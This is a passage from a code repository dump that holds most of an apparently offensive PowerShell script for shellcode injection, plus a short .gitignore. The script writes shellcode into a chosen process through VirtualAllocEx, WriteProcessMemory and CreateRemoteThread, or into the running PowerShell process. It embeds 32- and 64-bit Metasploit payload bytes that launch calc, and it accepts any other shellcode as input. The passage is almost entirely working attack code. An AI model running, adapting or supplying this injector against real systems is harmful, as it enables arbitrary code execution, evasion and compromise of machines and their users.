$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null 281 | 282 | # Execute shellcode as a remote thread 283 | $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) 284 | 285 | if (!$ThreadHandle) 286 | { 287 | Throw "Unable to launch remote thread in PID: $ProcessID" 288 | } 289 | 290 | # Close process handle 291 | $CloseHandle.Invoke($hProcess) | Out-Null 292 | 293 | Write-Verbose 'Shellcode injection complete!' 294 | } 295 | 296 | function Local:Inject-LocalShellcode 297 | { 298 | if ($PowerShell32bit) { 299 | if ($Shellcode32.Length -eq 0) 300 | { 301 | Throw 'No shellcode was placed in the $Shellcode32 variable!' 302 | return 303 | } 304 | 305 | $Shellcode = $Shellcode32 306 | Write-Verbose 'Using 32-bit shellcode.' 307 | } 308 | else 309 | { 310 | if ($Shellcode64.Length -eq 0) 311 | { 312 | Throw 'No shellcode was placed in the $Shellcode64 variable!' 313 | return 314 | } 315 | 316 | $Shellcode = $Shellcode64 317 | Write-Verbose 'Using 64-bit shellcode.' 318 | } 319 | 320 | # Allocate RWX memory for the shellcode 321 | $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) 322 | if (!$BaseAddress) 323 | { 324 | Throw "Unable to allocate shellcode memory in PID: $ProcessID" 325 | } 326 | 327 | Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" 328 | 329 | # Copy shellcode to RWX buffer 330 | [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) 331 | 332 | # Get address of ExitThread function 333 | $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread 334 | 335 | if ($PowerShell32bit) 336 | { 337 | $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 338 | 339 | Write-Verbose 'Emitting 32-bit assembly call stub.' 340 | } 341 | else 342 | { 343 | $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 344 | 345 | Write-Verbose 'Emitting 64-bit assembly call stub.' 346 | } 347 | 348 | # Allocate RWX memory for the thread call stub 349 | $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) 350 | if (!$CallStubAddress) 351 | { 352 | Throw "Unable to allocate thread call stub." 353 | } 354 | 355 | Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" 356 | 357 | # Copy call stub to RWX buffer 358 | [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) 359 | 360 | # Launch shellcode in it's own thread 361 | $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) 362 | if (!$ThreadHandle) 363 | { 364 | Throw "Unable to launch thread." 365 | } 366 | 367 | # Wait for shellcode thread to terminate 368 | $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null 369 | 370 | $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) 371 | $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) 372 | 373 | Write-Verbose 'Shellcode injection complete!' 374 | } 375 | 376 | # A valid pointer to IsWow64Process will be returned if CPU is 64-bit 377 | $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process 378 | 379 | $AddressWidth = $null 380 | 381 | try { 382 | $AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth 383 | } catch { 384 | throw 'Unable to determine OS processor address width.' 385 | } 386 | 387 | switch ($AddressWidth) { 388 | '32' { 389 | $64bitOS = $False 390 | } 391 | 392 | '64' { 393 | $64bitOS = $True 394 | 395 | $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) 396 | $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) 397 | } 398 | 399 | default { 400 | throw 'Invalid OS address width detected.' 401 | } 402 | } 403 | 404 | if ([IntPtr]::Size -eq 4) 405 | { 406 | $PowerShell32bit = $true 407 | } 408 | else 409 | { 410 | $PowerShell32bit = $false 411 | } 412 | 413 | if ($PSBoundParameters['Shellcode']) 414 | { 415 | # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets 416 | # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. 417 | [Byte[]] $Shellcode32 = $Shellcode 418 | [Byte[]] $Shellcode64 = $Shellcode32 419 | } 420 | else 421 | { 422 | # Pop a calc... or whatever shellcode you decide to place in here 423 | # I sincerely hope you trust that this shellcode actually pops a calc... 424 | # Insert your shellcode here in the for 0xXX,0xXX,... 425 | # 32-bit payload 426 | # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread 427 | [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, 428 | 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, 429 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, 430 | 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, 431 | 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, 432 | 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, 433 | 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 434 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, 435 | 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, 436 | 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, 437 | 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, 438 | 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, 439 | 0x61,0x6c,0x63,0x00) 440 | 441 | # 64-bit payload 442 | # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread 443 | [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, 444 | 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, 445 | 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 446 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, 447 | 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, 448 | 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, 449 | 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, 450 | 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, 451 | 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, 452 | 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, 453 | 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, 454 | 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 455 | 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, 456 | 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, 457 | 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 458 | 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, 459 | 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) 460 | } 461 | 462 | if ( $PSBoundParameters['ProcessID'] ) 463 | { 464 | # Inject shellcode into the specified process ID 465 | $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess 466 | $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) 467 | $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) 468 | $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx 469 | $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) 470 | $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) 471 | $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory 472 | $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) 473 | $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) 474 | $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread 475 | $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) 476 | $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) 477 | $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle 478 | $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) 479 | $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) 480 | 481 | Write-Verbose "Injecting shellcode into PID: $ProcessId" 482 | 483 | if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', 484 | "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) 485 | { 486 | Inject-RemoteShellcode $ProcessId 487 | } 488 | } 489 | else 490 | { 491 | # Inject shellcode into the currently running PowerShell process 492 | $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc 493 | $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) 494 | $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) 495 | $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree 496 | $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) 497 | $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) 498 | $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread 499 | $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) 500 | $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) 501 | $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject 502 | $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) 503 | $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) 504 | 505 | Write-Verbose "Injecting shellcode into PowerShell" 506 | 507 | if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', 508 | "Injecting shellcode into the running PowerShell process!" ) ) 509 | { 510 | Inject-LocalShellcode 511 | } 512 | } 513 | } 514 | -------------------------------------------------------------------------------- /logs/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | --------------------------------------------------------------------------------